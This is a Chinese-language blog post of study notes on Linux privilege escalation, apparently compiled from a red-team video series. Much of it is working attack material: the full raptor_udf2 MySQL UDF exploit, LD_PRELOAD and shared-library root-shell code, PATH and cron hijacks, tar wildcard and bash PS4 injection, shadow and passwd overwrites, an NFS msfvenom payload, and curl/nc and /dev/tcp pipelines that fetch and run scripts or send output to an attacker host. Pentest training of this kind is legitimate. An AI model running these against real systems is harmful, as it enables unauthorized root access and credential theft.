Privilege Escalation

First Post:

Last Update:

Word Count:
2.5k

Read Time:
11 min

20230422224529

Privilege Escalation

整理自B站up红队笔记的提权精讲

Linux Priv Esca

最常用:

  • ugo
  • suid sgid
  • Capabilities
  • AppArmor Selinux
  • ACL

用的也比较多的:

  • Grsecurity

  • Pax

  • ExecShield

  • ASLR

  • TOMOYO Linux

  • SMACK

  • Yama

  • CGroups

  • Linux Namespaces

  • StackGuard

  • Proplice

  • seccomp

  • Ptrace

  • capsicum

  • Mprotect

  • chroot

  • firejail

手动枚举

用户信息:

  • whoami
  • id
  • w/who 查看其他登录用户
  • last 最近登录用户以及一些操作

内核版本信息:

  • uname -a
  • lsb_release -a 更多信息
  • cat /proc/version 进程信息查看版本
  • cat /etc/issue
  • hostnamectl

网络信息:

  • ip a
  • ifconfig 老机子
  • ip route 查看路由表信息
  • ip neigh 查看网络邻居
  • arp -a

用户权限:

  • sudo -l

  • getcap -r / 2>/dev/null

  • history 查看历史命令

  • cat /etc/passwd

  • cat cat /etc/shadow

  • cat /etc/crontab

  • echo $PATH

  • env 查看整体环境

  • ps -ef entire full list

  • ps axjf x-没有连接到终端的进程 j-查看进程树 a-all

  • ps aux u-显示启动进程的用户

  • top 查看实时更新的进程信息 top -n 1 只刷一次

  • netstat -a

  • netstat -l 显示正在监听的

  • find / -type f -perm -04000 2>/dev/null 或者(find / -type f -perm -u=s 2>/dev/null)

  • 查找可写文件:

    1
    2
    find / -writable -type f ! -path '/proc/*' 2>/dev/null
    # !-取反 /proc下的可写文件一般价值不大且多,我们忽略掉
  • which 查询可执行文件

  • cat /etc/fstab 查看未挂载磁盘(系统运维备份常临时挂载一块磁盘,当使用时再挂载,不使用时就卸掉)

自动枚举

  • 大招:linpeas

    • 推荐:curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh 通过管道符执行,不保留文件到本地。
    • 将扫描结果传回本地查看 curl <serverIP>/linpeas.sh | sh | nc <kaliIP> <port> kali: nc -lvnp <port> | tee name.txt tee 既又在标准输出中显示,又保存到txt文件中。txt文件可以用less -r 查看。
    • 靶机没有curl。kali:sudo nc -lvnp <port> < linpeas.sh victim:cat < /dev/tcp/<kaliIP>/<port> | sh
  • linEnum

  • LSE

  • LES

  • linuxprivchecker.py

  • unix-privsec-check

Trick

shell的稳定

1
2
3
python -c "import pty; pty.spawn('/bin/bash')"
stty raw -echo #raw 格式输出并关闭echo导致的命令显示两次
export TERM=xterm-color

rlwrap nc -lvnp 443用readlinewrap将我们的反弹shell包裹起来,防止上下翻历史记录时出现问题。

常用方法

bash version

  • ver<4.2存在漏洞可以利用:可以在bash中定义函数并用路径组合做文件名。
  • ver<4.4存在漏洞可以利用:环境变量插入。

MySQL udf

MySQL user defined function.

提权条件
  1. 有mysql账号,且有增删改查权限。最好有mysql root账号。

  2. secure_file_priv 最好要为空,或者其指定目录能够利用。(该属性限定Load data、select into outfile、load_file()等操作)。(通过show variables like '%secure_file_priv%'查看)

利用

主要操作:写入’plugin’中。(show variables like '%plugin%'查到的目录)

其他步骤在exp中有。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
/*
* $Id: raptor_udf2.c,v 1.1 2006/01/18 17:58:54 raptor Exp $
*
* raptor_udf2.c - dynamic library for do_system() MySQL UDF
* Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>
*
* This is an helper dynamic library for local privilege escalation through
* MySQL run with root privileges (very bad idea!), slightly modified to work
* with newer versions of the open-source database. Tested on MySQL 4.1.14.
*
* See also: http://www.0xdeadbeef.info/exploits/raptor_udf.c
*
* Starting from MySQL 4.1.10a and MySQL 4.0.24, newer releases include fixes
* for the security vulnerabilities in the handling of User Defined Functions
* (UDFs) reported by Stefano Di Paola <stefano.dipaola@wisec.it>. For further
* details, please refer to:
*
* http://dev.mysql.com/doc/refman/5.0/en/udf-security.html
* http://www.wisec.it/vulns.php?page=4
* http://www.wisec.it/vulns.php?page=5
* http://www.wisec.it/vulns.php?page=6
*
* "UDFs should have at least one symbol defined in addition to the xxx symbol
* that corresponds to the main xxx() function. These auxiliary symbols
* correspond to the xxx_init(), xxx_deinit(), xxx_reset(), xxx_clear(), and
* xxx_add() functions". -- User Defined Functions Security Precautions
*
* Usage:
* $ id
* uid=500(raptor) gid=500(raptor) groups=500(raptor)
* $ gcc -g -c raptor_udf2.c
* $ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
* $ mysql -u root -p
* Enter password:
* [...]
* mysql> use mysql;
* mysql> create table foo(line blob);
* mysql> insert into foo values(load_file('/home/raptor/raptor_udf2.so'));
* mysql> select * from foo into dumpfile '/usr/lib/raptor_udf2.so';
* mysql> create function do_system returns integer soname 'raptor_udf2.so';
* mysql> select * from mysql.func;
* +-----------+-----+----------------+----------+
* | name | ret | dl | type |
* +-----------+-----+----------------+----------+
* | do_system | 2 | raptor_udf2.so | function |
* +-----------+-----+----------------+----------+
* mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');
* mysql> \! sh
* sh-2.05b$ cat /tmp/out
* uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
* [...]
*
* E-DB Note: Keep an eye on https://github.com/mysqludf/lib_mysqludf_sys
*
*/

#include <stdio.h>
#include <stdlib.h>

enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};

typedef struct st_udf_args {
unsigned int arg_count; // number of arguments
enum Item_result *arg_type; // pointer to item_result
char **args; // pointer to arguments
unsigned long *lengths; // length of string args
char *maybe_null; // 1 for maybe_null args
} UDF_ARGS;

typedef struct st_udf_init {
char maybe_null; // 1 if func can return NULL
unsigned int decimals; // for real functions
unsigned long max_length; // for string functions
char *ptr; // free ptr for func data
char const_item; // 0 if result is constant
} UDF_INIT;

int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
if (args->arg_count != 1)
return(0);

system(args->args[0]);

return(0);
}

char do_system_init(UDF_INIT *initid, UDF_ARGS *args, char *message)
{
return(0);
}

// milw0rm.com [2006-02-20]

/etc/shadow

什么时候用:手动枚举发现可读写,历史命令发现当前账号进行过操作。

  • 可读:用john破解
  • 可写:直接写入(使用mkpasswd -m sha-512 生成对应格式的hash值填入)

/etc/passwd

可写:openssl passwd <passwd>

sudo 环境变量提权

sudo -l发现存在环境变量env_keep+=LD_PRELOADS(LD=link dynamic动态链接库)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/* shell.c 
/*
/* -fPIC place indepedent code
/* 还需要以root权限执行一个命令(随便)随后就能在命令执行前预先执行动态链接库生成新
/* 的root bash实现提权
/* gcc -fPIC -shared -o shell.so shell.c -nostartfiles
/* sudo LD_PRELOAD=/tmp/shell.so <rootcommand>
*/

#include <stdio.h>
#include <sys/types.h> //数据类型库
#include <stdlib.h>

void_init(){
unsetenv("LD_PRELOAD"); //执行一次就卸掉链接库
setgid(0);
setuid(0);
system("/bin/bash");

}

自动任务

  • 自动任务文件可写

    cat /etc/crontab

    ls -la /etc | grep cron*

  • 环境变量路径可写且自动任务相对路径

    可写入crontab中$PATH变量中较前的路径。

    如果自动任务不是绝对路径,我们可以在较前的路径构造同名文件,实现劫持自动任务执行提权。

    1
    2
    3
    #!/bin/bash
    cp /bin/bash /tmp/rootbash
    chmod +xs /tmp/rootbash
  • 自动任务通配符提权

    如果存在使用tar <target> *自动打包的自动任务

    我们可以通过--checkpoint-action利用

    1
    2
    touch <tar target>/--checkpoint=1
    touch <tar target>/--checkpoint-action=exec=shell.elf

SUID

find / -type f -perm -u=s -ls 2>/dev/null

发现不常见的suid文件,我们可以使用strings查看其中字符串,strace以便后面利用。

可执行文件

直接gtfobins

共享库注入提权

so文件

使用strings查看suid文件中可识别字符串发现使用到了so库文件

使用strace追踪,使用2>&1将错误信息重定向到标准输出

看他需要什么共享库,我们给他写一个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/* lib.c 
/* gcc -fPIC -shared -o lib.so lib.c
*/

#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject(){
setgid(0);
setuid(0);
system("/bin/bash -p");

}
环境变量利用

strings查看suid文件时时发现其中使用相对路径而非绝对路径。

直接起一个一样的名字给他劫持掉。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/* sameName.c 
/* gcc -o sameName sameName.c
/* export PATH=.:$PATH
*/

#include <stdio.h>
#include <stdlib.h>


void main(){
setgid(0);
setuid(0);
system("/bin/bash -p");

}

SUID-shell 功能提权
  • bash --version小于4.2

    1
    2
    3
    function /usr/sbin/service { /bin/bash -p; }
    export -f /usr/sbin/service //导出函数以劫持
    // 此处执行suid文件
  • bash --version小于4.4

    1
    2
    3
    4
    5
    # env 设置环境变量
    # -i 忽略现有的环境变量
    # SHELLOPTS=xtrace用于命令执行前将其打印并插入其他语句
    # PS4 指定提示符
    env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash;chmod +xs /tmp/rootbash)' <any file set suid>

密码和密钥历史

  • history查看历史记录中是否遗留着密码
  • cat ~/.*history | less用less列出当前用户家目录下所有与history相关的文件
  • 如果viminfo可以查看, 里面可能存在编辑时留下的密钥信息
  • 查看各种vpn配置文件(.ovpn),网页配置文件(wp-config.php)等
  • 根目录下.ssh文件夹中可能存在私钥

NFS提权

NFS = Network File System 常用于网络上文件共享。NFS即可用于获取初步立足点,也可用于提权。信息收集时要注意(一般绑在RPC端口上)。

  1. cat /etc/exports 查看NFS具体配置。如果有no_root_squash选项,很可能可以用于提权。

  2. 在攻击机上挂载一下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    mkdir /tmp/nfs

    mount -o rw,vers=3 <nfsip:/tmp> /tmp/nfs #<nfsip:/tmp>在配置文件中得来

    cd /tmp/nfs

    su
    # 以root身份向其中插入我们的reverse shell
    msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf
  3. 在靶机中执行即可

内核提权

必须提一嘴,内核提权不太稳定,很容易搞崩机子,使用前要三思。此外,内核提权和抽奖挺像,要有耐心,选择有效的exp最关键。没有注释的exp慎用。

dirtyCow不是很稳定。

Linux Kernal 2.6有一个著名的内核提权漏洞UDEV

doas less + vi提权

  • find / -perm -u=s -type f 2>/dev/null
  • 在openBSD等一部分系统中,会用到doas作为特权操作,如果当前用户有操作doas的权限,可以考虑提权。
  • cat /etc/doas.conf 查看不需要密码执行的doas操作。
  • 如果可以使用less,那我们在less中可以按v进入vi编辑模式以root权限进行文件操作。
  • 在vi模式中:!sh可以起一个新的shell,doas root则是root shell。

利用MOTD机制提权

motd = message of the day

  • cd /etc/update-motd.d/ ; ls -la
  • cat /etc/00-header
  • 如果可编辑则写入反弹shell或者其他提权语句都可。

可预测PRNG暴力破解SSH提权

prng = pseudo random number generator

如果拿到了ssh公钥,可以考虑使用伪随机数生成器暴力碰撞破解。

可以在searchsploit中查找prng但是要注意openssl版本。

下载下来公私钥库后 直接选择拿到公钥的一部分 grep -lr 递归列举文件搜索,找到对应的公私钥对。